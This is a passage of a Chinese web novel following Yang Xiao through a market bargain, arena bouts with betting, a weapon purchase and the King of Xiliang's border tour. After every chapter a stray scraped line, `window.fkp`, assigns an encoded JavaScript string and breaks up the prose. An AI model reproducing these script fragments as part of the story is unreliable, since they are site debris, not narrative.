摊主一幅我真是服了你的表情:“那你能出多少吧?” 杨笑想了想,试探着伸出一根手指。摊主看看那根手指,又看看他的脸,问道:“多少?” 杨笑吐出两个字来:“一两。” 那摊主登时跳脚道:“一两?你别说我这好赖还是个老物件,你就是去店铺里买一个暖手炉一两你也买不到这样式的,有你这么还价的吗?不买拉倒!” 摊主说着就要伸手去把杨笑手里的小鼎夺过来。杨笑一缩手躲开道:“别生气嘛。我是不会还价,可你要的也太离谱了吧。” 摊主气道:“你还不会还价?五百两的东西生生给我还到一两。”随后他把眼珠子转了转,一脸肉疼的样子说道:“好吧!四百五十两不能再便宜了。” 杨笑又加上了一根手指:“二两。你这老头儿也太不诚实了吧,一个破暖手炉居然要这么多。” 摊主一跺脚,恨恨的说。:“好吧,算我倒霉,三百两总不多了吧?” ……两个人你一句我一句的讨价还价了半天,最终在摊主吹胡子瞪眼的表情中以二十两成交了。 一手交钱一手交货。杨笑一边又翻看了一下小鼎一边得意的说着:“正好带回去给姐姐做个暖手炉。别说还真挺漂亮的。” 摊主没好气道:“你还真把他当暖手炉啊?” 杨笑啊了一声:“不然呢?” 摊主真是不知道该说什么了,冲杨笑摆摆手说道:“得得得……凡正东西卖给你了,你爱当什么就当什么吧。” 杨笑收好东西起身离开。他不知道的是,就在他离开后,那个留着山羊胡子的摊主将双手抄在袖口里,望着他离开的背影自言自语地念叨着:“真是难得,难得啊!” 杨笑在西梁城里还会有哪些际遇?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 等四十八回 暴发户小友 杨笑离开那个小摊后又在坊市里闲逛了起来。兜兜转转一阵子后,来到一处高墙外,只听一阵阵欢呼声、喝彩声从高墙上的窗户里传了出来。杨笑心里有些好奇,转过身问年轻的车夫:“这是什么地方,怎么这么热闹?” 车夫回答:“这是坊市内的一处竞技场。咱们西梁人都比较尚武,几乎每一座城池的坊市内都设有这样的竞技场。竞技场里设有许多的擂台,供人们比武竞技,一决输赢,还可以下注约赌,乃是一个热闹好玩儿的去处。” 杨笑听到后更加的心生好奇,自己还从来没有去过这样的地方呢,听这车夫所说的样子,贡州城里应该也有像这样的地方,只是自己从来也没注意过。 那年轻车夫见杨笑盯着墙头上的窗户一脸好奇的样子便问道:“公子要不要进去看看?大门就在前面不远处。”杨笑踮起脚尖往前面望了望,确实有一个看起来像是大门的地方,两个人于是快步向前走去。 “你去过里面吗?”杨笑边走边问。 “小得进去过几回。”车夫如实回答。 “来这儿的人是不是特别多?”杨笑又问。 “这么跟公子说吧,只要是西梁城里的男子,就没有没去过这种地方的。” “你也上过擂台?” “诶呦!公子说笑了,小的这身膀哪敢上去呀,那不是找着挨揍吗?” 两个人边走边聊很快就来到了竞技场的大门外。 竞技场的大门由砖石砌成,大门的正上方一块石质的匾额上刻着“竞技场”三个大字。 杨笑刚要往里走就被两个身形强壮,满脸横肉的壮汉给拦住了去路。其中一个壮汉说道:“嘿!没来过吧?进门前也不先打听一下这里的规矩!” “规矩?”杨笑疑惑道。 “对!规矩。”那壮汉点点头。 “什么规矩?”杨笑确实是不知道这里还有什么特殊的规矩。 那壮汉把手抄在胸前向杨笑解释道:“规矩就是进场需要交十个铜板,要是想上台比武打擂还需要另外再交钱,要是有赌约的话,竞技场还会按比例抽成。” 杨笑回头望向车夫,年轻车夫讪讪的点了点头。杨笑知道是自己走的有些着急了,没有给他向自己解释的机会,所以也不怪他。 交完钱后二人先后进入了竞技场里。竞技场的内部甚是宽敞,一进到场内就能看见一个巨大的深坑,里面有十多个齐胸高的圆形擂台,这些擂台全都由石头砌成。此时擂台上正有六七场比试正在进行,擂台上的人你来我往打的好不热闹。 擂台的四周是一层层像台阶一样的看台,这些看台上几乎是坐无虚席,还有许多人都挤到了擂台下为自己看好的武者加油助威。每个人都被场上精彩激烈的战况深深的吸引着,不时的爆发出一片喝彩声。 在看台的四个方向上还各建了一排高台,高台上是一个个分隔出来的小屋。这些小屋是竞技场内的贵宾席,那些有身份的达官显贵们,会花些钱坐在这些贵宾席里面品着美酒,揽着美人儿,看着场上的比赛。要是有看好的武者便会下注赌上一把。 从这座竞技场内的人气便可一窥西梁境的尚武之风。 杨笑在人群中挤来挤去,最后挤到了一处擂台前。此时擂台上二人激战正酣,双方你来我往难分高下,斗至精彩处引得围观众人阵阵喝彩。两个人来来回回打了几十个回合,双方都已是强弩之末,很快,其中一人一个不慎被对手抓住破绽落入了下风,最终不敌败下阵来。一场比赛结束,赢了赌注的人发出一阵欢呼声,而那些输了钱的人也只能是恨恨地骂上两句。 一场比斗结束,很快又有人上台始了第二场比斗。杨笑一连看了几场比斗,直看得手痒难耐,就问那车夫如何才能上场参加比斗。车夫哪里知道杨笑的心思,只当他是一时好奇,便告知他如何如何上场。杨笑听完后二话不说就往外面挤,留下那年轻的车夫一阵发懵:“乖乖,他不是真的要上去跟人打架吧?” 杨笑来到车夫口中所说的登记处向里面的人说明来意。负责登记的是一位灰发老者,那老者只是看了杨笑一眼便为他做好了登记。 很快,老者便写好了登记牌。将笔递给杨笑:“自己想一个代号,竞技场比斗不记真实姓名。如有赌约,竞技场按比例抽成,如有观战者下注,获胜之后竞技场与你对半分成,听明白了吗?” 杨笑点点头,心想:“这地方还真是一本万利呀!以后说不定我也要开一家,到时候非得狠狠的赚他一笔不可。”杨笑做着日后要大赚特赚的美梦,便给自己起了个暴发户的代号。 很快就有一处擂台空了下来,杨笑被安排上场比斗。等杨笑站在台上后,台下围观的人群立刻发出阵阵唏嘘声。 “这是谁家的小孩儿没看住,怎么跑到这儿来了?” “哎呀,这年轻人真是不知天高地厚啊。” “就他这样上去怕不是要被人一拳放倒啊。” “这么俊俏的后生被打坏了多可惜。” “会不会被打的他爹妈都不认识了。” ……。众人七嘴八舌说什么的都有。就在这时,一个矮胖的中年男子走上台来。这男子留着两撇小胡须,挺着满是肥肉的肚子,站在台上伸出双手示意大家安静。 很快,周围的人便安静了下来,那人朗声道:“今日这位……呃……这位暴发户小友初次登台,在此接受大家的挑战,”当说到杨笑的代号时,那胖胖的中年男子一时也是有些无语,心想“这人怎么起了这么low的一个代号。”心里不管怎样想,嘴上的话却没有丝毫停顿,只听他接着说道:“在场诸位都可以上台与暴发户小友一较高下。” 那胖子的话音刚落,下面立刻有人喊道。:“小孩儿快回家吃奶去吧,这里不是你玩儿的地方。” “好家伙,挣钱不要命啊。” “就是!想钱想疯了吧。” ……那胖子听着下面的议论声,脸上也不做任何表情,接着开口道:“本场比斗如往常一样,可自由下注。压暴发户小友胜者赔率一比一百,压其败者,赔率一百比一。现在开始下注。” 到底杨笑在台上会是一个什么情况?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第四十九回 擂台之争 上回说到杨笑登台打擂。那中年胖子介绍完情况后,众人一听赌注的赔率,纷纷往下注登记之处涌去。“快走快走,虽说赔率低了点儿,可像这样捡钱的机会可不多呀。”……。 那边儿众人抢着下注,这边儿擂台上一下子跳上来十几个人,一个个都要争着第一个跟杨笑比试,有两个人甚至争着争着就当场互相推搡了起来。毕竟像这样稳赚不赔的买卖可不多。 最后。在那矮胖男子的安排下一个精瘦的高个子留了下来。这男子虽说瘦了些,但身上那一块块的肌肉却都是鼓鼓囊囊的,说他是一个壮汉,相信不会有任何一个人有意见。 那精壮男子伸出大拇指擦了一下鼻头,看着杨笑说道:“小子,爷爷最近正好手头上有点紧,既然你都把钱送到门上来啦,爷爷我可就不客气了。” 那男子一边说话,一边在擂台上站好了位置。等双方都站好位置后那矮胖男子站到两人中间开口说道:“虽说是老生常谈,但我还是要介绍一下擂台上的规矩。此场比试只限拳脚,比试中任何人不得使用任何兵器,包抱暗器。比试点到为止,不得重伤对手,更不能伤人性命,都听明白了吗!” 见杨笑二人点点头,那男子又上前分别在两个人身上检查了一番,以防有人在身上暗藏什么东西。检查完毕后矮胖男子退到擂台边缘举起一只手猛地一挥,喝道:“开始!” 话音刚落,那精壮男子便率先发难,只见他一跃上前一拳直冲杨笑面门而来。这一边杨笑轻轻侧身躲过这一拳。精壮男子见这一拳落空便顺势将手臂往怀中一揽,想要卡住杨笑的脖子将他锁在怀里。杨笑低头绕过对方的手臂,精壮男子又是一拳跟上,杨笑再躲。 一连躲了数拳,对方不耐烦道:“你小子属兔子的不成?”嘴上说话拳脚却不停,每一拳一脚都呼呼生风直冲杨笑要害而来。杨笑或躲闪或格挡,将精壮男子的招式一一化解。 从双方开打杨笑就一直在躲,别说台上那精壮男子不答应,就连台下的看客们也起哄起来:“打呀!打呀!你是来演戏的吗?” “就是,不想打赶紧认输滚下台!” ……杨笑对台下众人的起哄丝毫不在意,这时那精壮男子飞起一脚只踢杨笑小腹,杨笑伸手挡开,对方又是一脚踢来,杨笑侧身躲过。当对方第三脚侧踢而来时,杨笑伸手架住他的脚踝往旁边一送,同时另一只脚便踢在了对方的腘窝处。那精壮男子腿一软“扑通”一声跪倒在擂台上,不等他有所动作,杨笑早已欺身上前,一拳打在其面颊上,直打的那精壮男子眼冒金星。杨笑抓住机会,丝毫不给其喘息之机,接二连三的打在他的脸上,只打得对方鼻青脸肿,倒地不起。 杨笑的一连串动作干净利索,直到对方被抬下擂台。台下众人才有些回过神来“什么情况!那人是上台来玩的吗?” “这王八蛋,这都没打赢,害我输了不少钱。” ……在众人七嘴八舌中很快又有一人跳上擂台:“小子有两下子嘛,这回看我怎么教训你。”结果不出几个回合杨笑再次获胜。 ……连胜数场,而且都是胜的干净利索,下注的人开始冷静了下来。“感情这小子扮猪吃老虎呀!”台下众人都不再急于下注,场内的赔率也作了调整。 见此杨笑也有些后悔赢的太快了,应该再打的“辛苦”些。照现在这样子看,台下的看客们下注前就要多想一想了。 果不其然,上台挑战的人和下注的人都暂时观望了起来。不过好在这种情况没持续多久,过了没一会儿,便有一个大汉跃上了擂台。只见这人足足比杨笑高了近两个脑袋,四肢强壮,身形魁梧至极,那虬结的肌肉一疙瘩一疙瘩,胸前的两块肌肉比妇人的两个胸脯也不遑多让。 此人一脸的横肉,光秃秃的脑袋上有一条刀疤,模样极为凶残,站在那里如铁塔一般。杨笑在他跟前比起来就像一个小孩子一样。 众人一见来了个狠角色,一时间又热情高涨,纷纷下注,这要是再能输了真就是没天理了。不过,人群中却有两个人怎么也高兴不起来,在那里捶胸顿足,恨自己刚才不够冷静先一步买了杨笑赢,这下子怕是要输的连内裤都不剩了。 那魁梧大汉抖了抖胸前的两块肌肉狞笑一声:“小家伙儿,一会儿可别被我揍得哭爹叫娘啊。”台下围观的人群听了那大汉的话后哄然大笑。 他不提这个“娘”字还好,一提这个“娘”字,那就是揭开了杨笑的伤疤,触动了他的逆鳞。杨笑的眼中腾的一下燃起了熊熊的怒火,双拳攥得咯咯作响,挥动拳头率先发起了进攻。 那大汉见杨笑攻来就取笑道:“哟!还生气了,哼哼,来得好。”说着伸出一臂去挡杨笑的拳头。 拳臂相交,大汉只觉一股巨力袭来,忙用另一只手臂也挡了上去。杨笑这一击将大汉打得噔、噔、噔……连退数步。一击得手,杨笑立刻再次欺身而上,那大汉稳住身形后大叫一声:“好小子,原来有深藏不露。”见杨笑再次攻来忙收起轻视之心,认真对待起来。 二人你来我往展开了一场激斗。十几个回合后,只见杨笑抓住对方的空档,一拳打向那大汉的小腹,大汉伸手架开。一击末中,杨笑就势一跃而起双脚连连踢出,一路从那大汉的裆部就踢到了面门。啪、啪、啪……大汉接连挡开,等杨笑攻势已尽时,大汉伸手去抓杨笑的小腿,杨笑一个拧身避开,然后翻身而落。 杨笑的双脚刚一着地,那大汉已经一脚向杨笑的小腿扫来,杨笑双足点地立时跃起,大汉紧接着又是一拳打向杨笑的大腿,杨笑踢腿挡开。那大汉一击未能见功,不依不饶又是一拳向杨笑的侧面打来,杨笑来一个借力打力,架住大汉的拳头一把抓住其手腕,回身就是一个过肩摔……。 台上两人一连串的交手当真是精彩至极,看得台下之人连连喝彩。 就在众人以为那大汉要被杨笑摔一个结实的时候,谁知那大汉看似高大笨拙,却灵活的像一只猿猴一般,就势一翻,反把杨校给摔了出去。杨笑身在半空当中死死抓住大汉的手臂,收腹抬腿,身体一下子弯曲的像一只虾米一样,一脚便蹬在大汉当胸,大汉踉跄着后退两步,杨笑也被摔在地上。杨笑在地上就势一滚就站了起来,那大汉也稳住了身形握住拳头再次冲了过来,杨笑也不甘示弱,揉身而上。 两人这般拳来腿往打得旗鼓相当,台下众人更是看得惊心动魄,一时间全都热血沸腾,喝彩声,口哨声接连不断。就连旁边擂台上的对战双方也停下了比斗,加入了观战的队伍当中。 二人这一番比试究竟结果如何?欲知后事如何,且听下回分解! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第五十回 背后的关注 上一回说到杨笑与一个魁梧大汉在擂台上打的难分难解,很快两个人就斗了百余回合。 魁梧大汉用手掌擦了擦鼻孔里流出来的血,往地上啐了一口带血的唾沫,开口道:“小子,不赖嘛!” 杨笑用手背擦去嘴角的血迹回道:“你也不错。” “有没有兴趣认识一下?”那大汉问道。 “那也要先打过了再说。”杨笑说完纵身而上,二人再次斗到了一起……。 最终以杨笑小胜半招收场。 台下围观的众人输了钱的难免会发出一阵唏嘘,而那两个赌杨笑赢的,在经历了一场场提心吊胆后,抓着手里下注的凭证,激动的都有些忘形了。 杨笑领完奖金后与车夫径自离开了竞技场。而在另一边,竞技场内的一间贵宾室里,刚刚与杨笑较量过一场的魁梧大汉迈步走了进来。贵宾室内坐着两个衣着不俗的男子,其中一人浓眉大眼,气宇轩昂。另一个男子身着锦衣,气势上虽说也不错,却较之逊色了几分。当中的男子见那魁梧大汉进来,轻笑一声道:“想不到你堂堂梁大将军也有吃瘪的时候。” 那魁梧大汉拉过一张椅子一屁股坐在上面,他摸了摸眼角上的乌青,结果疼的他吸了一口凉气。大汉嘿嘿的笑道:“吃瘪倒算不上,不过今天倒是打得很痛快。” 另一旁的锦衣男子微微侧身道:“此人武功不俗,看其年龄若是我西梁境人应该在军中服役才是,要不要将其收入麾下?” 中间那气势不俗的男子缓缓道:“不急,不急。放心,他跑不了。” 锦衣男子讶异道:“听您这么说……难道知道此人是谁?” 那男子说道:“说出来你们应该都知道,此人就是前段时间生擒了藩族世子和公主的那位。” 一旁的魁梧大汉“啊”了一声:“怪不得!原先只听说此人善于计谋,却不知竟是如此生猛,这可是个抢手货,要快点行动才是。” 那男子丢下手中的干果拍了拍手,起身道:“总得找个机会不是?就这样找上门去,别把这孩子再给吓跑了。”说完搂过身旁一个身材火热,模样妩媚的女子,在其瑶臀上一抓:“你说是不是呢?”那女子倚在男子的怀中娇笑一声妩媚道:“大人,您说的自然都对。”在哈哈的大笑声中男子搂着怀里的美人自顾而去,留下两人对视一眼后也跟在那男子身后离开了。 再说杨笑走出了竞技场。虽说赢了比斗,赚到了不少钱,可他的心情却被搞得很是低落,车也不坐了,低着头在坊市里漫无目的地走着。车夫见杨笑一脸不开心的样子也不敢多问,只是牵着马跟在后面。 也不知道走了多远,突然听到耳边传来叮叮当当的声音。杨笑抬头看去,原来是一间专门打造兵器的铁匠铺。铁匠炉里的炉火烧得通红,几个工匠正挥舞着手里的锤头,忙着打造着一件件兵器。店铺掌柜的正在工匠们中间来回的查看着,见杨笑看得入神便快步走了过来。 掌柜的堆起满脸的笑容向杨笑拱手道:“这位小哥可是想要打造一件称手的兵器?”见杨笑不说话,店铺掌柜又改口道:“本店也有现成的兵器出售,这位小哥可以到里面,看看是否有满意的兵器。本店虽小,可件件都是精品呢。” 掌柜的一连叫了几声,杨笑这才回过神儿来“哦”了一声。店铺掌柜伸手向杨笑示意道:“这位小哥里面请。”杨笑抬头往店铺里面看了看,迈步走了进去。 店铺里摆满了各式各样的兵器,刀枪剑戟,斧钺钩叉,矛棒鞭锤,……可以说是琳琅满目。 掌柜的跟在杨笑身后向他介绍和推荐了几样兵器,杨笑也简单的询问了几句,整个过程都不温不火的。掌柜的见杨笑有些兴趣缺缺,话也就少了下来。 这时候,杨笑拿起柜台上放着的一样兵器,那是一根长约三寸,比筷子稍细一些的铁钉。杨笑向店铺掌柜问道:“这是何物?” 掌柜的说道:“哦,这是一套飞针中的一根。本来是去年年底一位客人下的订单,可这都大半年了,也不见他来取货,所以才放在这里打算出售,小哥若是看中了可以算您便宜一些。” 杨笑把那根铁钉拿在手里仔细的看了看。那铁钉通体乌黑,十分的尖锐,针尾系了一根短短的红绸带。 杨笑随意一甩手,将铁钉射入了店内的一根木桩上。那根木桩是供客人们挑选兵器时用来试验兵器锋利程度的,木质十分的坚硬。铁钉打在木桩上几乎整根都钉了进去,只留下一截红绸带在外面。 店铺掌柜的见了夸赞道:“小哥真是好腕力呀!” 杨笑丝毫不在意店铺掌柜的夸赞,问道:“这套飞针有多少根?” 掌柜的回答:“一共有三十六根。” 杨笑道:“我买了。” 店铺掌柜闻言高兴道:“小哥暂且稍等。”说着转入柜台里面将一卷黑布取出放在柜台上摊开。里面是余下的三十五根飞针。掌柜的给杨笑算了个优惠价格,杨笑付了银两后把飞针卷好放入怀中。店铺掌柜很是恭敬的将其送出门口。 杨笑回到驿馆后也没了在西梁城里闲逛的兴致,每天除了吃饭外便足不出户的在房间里打坐练功。 这“龙虎功”在初练时可以感觉到有一股气流在体内生成,这股气流每到一处就会把所过之处的皮肉、脏腑以及筋骨全都锤炼一番,让人觉得似有一股暖流行走于周身各处,一个周天运行下来后便会令人通体舒坦,精神抖擞。随着功法练习的深入,这股气流也变了样子,变的越发的凝实起来,最后变成了一股如涓涓细流般的清流在体内行走,运行起来也不再是锤炼肌肉脏腑,而是在各条经脉中运行开来。那通种体舒坦的感觉也不再有了,随之而来的是一阵阵生撕皮肉般的疼痛。据功法内所载,这是功法练到深处,内力开始拓展经脉所致。杨笑咬牙强忍着这股撕心裂肺般的痛苦,一条一条经脉仔细地运行着龙虎功。一个大周天下来早已是汗流浃背,就如同刚从水里捞出来的一样。不过这种令人难以忍受的痛苦,换来的却是可以感觉得到的肉体强度。杨笑休息一阵,饮了一些茶水后便再次开始了下一个周天的运行。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第五十一回 西梁王巡疆 却说杨笑足不出户。在驿站的屋子里一连修行了五六天。 这天一名侍卫敲响了杨笑的房门。杨笑收了功法打开房门,那侍卫向杨笑见礼道:“可是东仓县杨校尉?” 杨笑回道:“正是。” “小的是贡州府李将军所属亲兵,奉将军之命特来请杨校尉。” 杨笑道声“稍等”回到房间里换了件衣服,然后跟随那名侍卫来到了驿馆内的一处小院落中。这处院落虽小,却布置得十分典雅。像这样的院落在驿馆内还有二三十处,院落的规格不等,是专门用来接待一些高官将领或富商巨贾的。 杨笑在门外站了一小会儿,那名侍卫很快就从里面出来了。杨笑在侍卫的带领下进到屋里,只见李伯通坐在上位,手里正拿着一个茶碗细细的品着碗里的香茶,两边下首分别坐着杨虎、杨豹两兄弟。 杨笑一一见过礼后,李伯通抬头望着杨笑笑道:“你堂叔杨虎受王爷赏识,几次陪王巡视,现如今你又受王爷器重,你们杨家还真是满门将才呀。” 杨虎在一旁抱拳道:“将军缪赞了,为王爷尽忠乃吾等职责所在。”李伯通点点头。 杨笑也客气一句,见到一旁的杨豹满脸的喜色,便问道:“堂叔如此神色可是有什么喜事儿?” 杨豹喜道:“这还要托你的福啊。”杨笑有些不解。杨豹又说道:“方才将军已经向我透露,王爷有意提拔于你,此次巡视过后便要为你升迁职位,届时会让我接替你这督造校尉的职务。到时候堂叔我就要为你看家护院啦。嘿嘿嘿……。” 几个人又叙话一番。原来要升迁职位的不仅是杨笑和杨豹,杨虎也会升任贡州府参将,怪不得杨笑一进门李伯通便要向他道喜了。 且说杨笑等人奉命陪王伴驾巡视疆界,到了出发的这一天,杨笑早早地便来到校场集合。杨笑到达校场时,已有不少人马在此列队等候。 杨笑留意了一下,玄甲营、虎贲营、神机营、飞熊营,各有一部到场,轻重步骑并弓弩,诸军齐全。这四营甲士都是西梁军精锐中的精锐,一个个身形强壮,目含精光,脸上透着凶悍之气,全都是久经沙场之辈。 除去这四营甲士外,还有此次陪同西梁王出巡的几位地方将领带来的随行将士,这些人一个个也是不凡。各部将士加起来总共约有五千之数。 杨笑很快就在校场内找到了贡州府驻军的阵营。 不一会儿,擂过了三声鼓,西梁王登上了点兵台。 西梁王高站台前,身后众将一字排开。一番焚香祭天的仪式完毕后,西梁王把目光在场内各营将士的身上缓缓地扫视一遍。 “在场众将士皆是我西梁军中翘楚,乃我大周脊背……。”西梁王开口勉励三军。 而人群中的杨笑此时注意到的,却是站在西梁王身后的几个人。贡州城刺史李伯通杨笑自然是认得的,另外几个与李博通所站位置相似的,应该是其他几个随行的地方将领。还有三个人与西梁王的相貌有几分相似,应该是人们口中相传的西梁王几个年龄较长的子嗣当中的三人。 最吸引杨笑注意力的乃是一个面色微黑的魁梧大汉。此人不是别人,正是前几天在竞技场中与杨笑有过一番较量的那名壮汉。 一旁的杨豹见杨笑歪头看得有些出神,便小声问道:“嘿!嘿!看什么呢?” 回过神儿的杨笑小声的向杨豹问道:“王爷身后的人都是谁呀?” 杨豹把西梁王身后的人看了一遍说道:“呐,李将军身边那个是娄城刺史,再往边上……。”杨豹小声的向杨笑一一的介绍着:“……这三个依次是王爷三个最年长的儿子,最后那个可就厉害了,他是玄甲营的大统领,正二品冠军大将军……。” “肃静!”旁边的杨虎听他二人絮叨个没完没了,便小声地喝止道。 杨笑和杨豹二人这才闭口不言。 杨笑和杨豹刚闭上了嘴巴,西梁王的讲话也到了尾声,“……望众将士勤勉,共卫我大周安宁!”西梁王言罢下方众军齐声高呼:“卫我大周!护我西梁!……。”如同浪潮般的呼声滚滚而来,令人震聋发聩。 西梁王在校场内点齐了兵马,在一阵隆隆的鼓声中巡疆而去。 到底西梁王巡视边界还会发生些什么事情?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第五十二回 一箭见仁心 上一回说到西梁王在一阵隆隆的鼓声中巡疆而去。 大军开拔一路西去,数日后再转而向北,又行了一段时日,远远的便能看到一道巍峨的山脉耸立在远方,这道山脉便是台阶山。 山脉的名字,虽然俗气了些,却是西梁的北方屏障。西梁正是凭借着这道山脉,才把阶上草原最肥美的草场牢牢的攥在手中,从而有效地遏制了狄戎族的发展,使其轻易不敢南下。 过了台阶山便进入了阶上草原。到了这里,气温也随之下降了许多,而回过头再看身后的台阶山时,先前巍峨高耸的山脉早已不见了踪影,映入眼中的山梁好像齐齐的矮了半截,只剩下一道连绵的小山。山丘虽然不太高,但是山势却十分的险峻,陡峭的小山上悬崖峭壁随处可见。山脉中建造有许多关隘和军营,一路行来,顺路查看了几处军营和关隘。对驻守在这些关隘中的将士们,西梁王从来不吝于鼓励和奖赏,处罚却鲜有所见,毕竟西梁军纪严明,此处又是兵家重地,没有人胆敢懈怠。 山脚下的阶上草原水草最是丰盛,十分适合放牧。西梁在这里饲养了许多牲畜,西梁军中的许多战马就是出自这些牧场。 说起来西梁王在发展民生福祉这一方面还是很用心的。除了放牧外,草原上还盛开有一种小花,会结出一种红色的果实,这些果实可以制成上好的染料,每年到了采摘的季节就会有许多客商前来采购;沙漠中有几处地方可以淘金,那里一年四季都聚积着辛勤的淘金者;山中出产许多矿藏;关西水乡之地,大力发展耕种及水产;山里的林木分季分片采伐封养……。总之,所有有利于福祉民生的地方几乎都做到了有序的管理。 美丽的阶上草原地势开阔平坦,远处的地平线,微微的起伏着,近处的野草野花随风摇曳,就连天空都仿佛高了许多。置身其中,令人心旷神怡,就连呼吸都觉得顺畅了许多。 蓝天白云间,一行南飞的大雁展翅飞翔在天空中,它们一会儿排成一个人字,一会儿排成一个一字。 西梁王望着天空中的大雁一时兴起道:“谁能为本王将这天上大雁射下来一只呀?” 西梁王话音刚落,娄城刺史便上前道:“王爷,末将手下一员,名周阳颇为善射。” “哦?”西梁王闻言道:“唤其前来。” 另一旁的济州府刺史也上前道:“属下跟前有一小卒吕平,射的一手好弓箭,不如让为也为王爷射下一只来。” 西梁王应允。 这时,一旁的西梁王长子:武恭,似是随口的说道:“我听说咱们西梁新近出了一位才俊颇有几分本事,好像是叫做杨笑吧?” 西梁王有些意外的望了自己这个儿子一眼,旁边正欲开口的李伯通也有些不解的看向武恭。在他的印象之中,这位长公子可不是一个轻易能将好处让给别人的主。西梁王收回目光,缓缓道:“杨笑啊?嗯,本王也想看看他的射艺如何。”转而向李伯通说道:“李将军可将杨笑唤来一同比试。” 很快,三个人齐到西梁王座前见礼。 西梁王看着眼前的三个青年才俊点点头道:“你三人谁能为本王将天上的大雁射下一只来呀?” 三人齐声称是。早有侍卫捧来三张硬弓,三个人拿了弓,又各自抽取了一支箭。这几只箭上的羽毛颜色各自不同,是为比试射艺所专门精制而成的羽箭。 西梁王一指天上的大雁说道:“就射那只飞在最前面的头雁吧。” 三个人齐齐张弓搭箭,“砰砰砰”三声弦鸣几乎同时发出。其中两支箭几乎同时射中了那只头雁,头雁中箭后立刻盘旋着从天上掉了下来。余下一支箭却射向了落在最后面的那只大雁。箭矢擦过大雁却只射下来了一根羽毛,那只原本落下一大截的大雁受到惊吓后哀鸣一声,扇动翅膀很快就追上了雁群。 早有人飞马将射出的箭矢捡了回来,将射下的大雁呈到西梁王的面前。只见那只大雁的身上插了两支箭,一支插在腹部,一只正中当胸,而那根落空的羽箭,在尾羽上却挂着一条细麻绳。 一旁的大公子武恭见此眉头一皱。李伯通见此却是面色一变。 王爷让你射头雁,你却一声不响的去射那末尾的雁,这件事说大也能大,说小了小能小。说小了是你杨笑射艺不精,说大了就是公然违抗军令。就算说你射艺不精,可这头雁和尾雁之间也差的太远了点吧,这完全不是弓箭射的准不准的事情了。万一王爷因此怪罪下来,治一个违抗军令是没跑的了。不过,不管事大事小,这都要西梁王说了才能算。 李伯通面色一惊就要上前替杨笑谢罪求情,必经西梁王一向仁王的名声在外,并不是一位擅杀的君王,想着念在杨笑年少无知的份上,应该不至于治罪才是。哪知李伯通刚向前走了一步就见西梁王抬起一只手轻轻的摆了摆,李伯通见状只得拱手府身退了回去。 西梁王看了看那几根箭矢,开口说道:“没想到杨校尉还有一颗慈悲之心。”言语间并没有丝毫问罪的意思。 另外两人见状低下头有些泄气。不提西梁王的军令如何,只说箭法。当空一箭,只解了大雁的束缚,却不伤其分毫,虽没有射下猎物,但高下却已立判。 杨笑躬身揖首道:“杨笑并不擅射,这一箭全凭运气使然,还望王爷恕罪。” 西梁王哈哈笑道:“好一个运气释然,杨校尉过谦了。区区小事,只为一观我西梁儿郎的射艺如何,何罪之有?这只雁便赐予你了。”杨笑躬身谢过西梁王。 李伯通这才彻底的松了一口气。“杨笑啊杨笑,你给我等着瞧!” 大军又前行半日,一片面积不大的小池塘出现在前方。池塘边正有许多野鹿、野猪、野羊低头饮水,见有人到来,立刻四散逃开。西梁王看到了连忙叫道:“快取本王的弓箭来!” 立刻便有人捧上了雕弓羽箭。西梁王带队在小池塘的周围展开了一场围猎。至日暮时分,共猎取了五只鹿,七八头野猪,二十多只野羊,还有一些其他的小兽和水鸟。当晚就在小池塘边安营扎寨,西梁王摆开了宴席与三军同乐。 席间李伯通可是没少灌杨笑的酒。“谁叫你小子让本将军担心一场!” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第五十三回 遇袭 大军又行数日,来到一座邻河而建的小城,西梁王在城中查阅一番又查看了城外的养马场。在小城停留三日后再次出发。 就这样一路走走停停,遇城就查,过营就检。这一天来到了玉丘城。玉丘城原本是一处屯兵的军营,后来人口越聚越多,就形成了现在的边境小城。过了这座小城再往前就是与狄戎族交界的地方了。 近些年狄戎族与周王朝的关系越发的紧张了,边境上时常发生骚乱,玉丘城受此牵连也不复往日的繁荣了。在玉丘城休整几日后大军转而向东,一路沿边界而行检查沿途各处军营及城池。 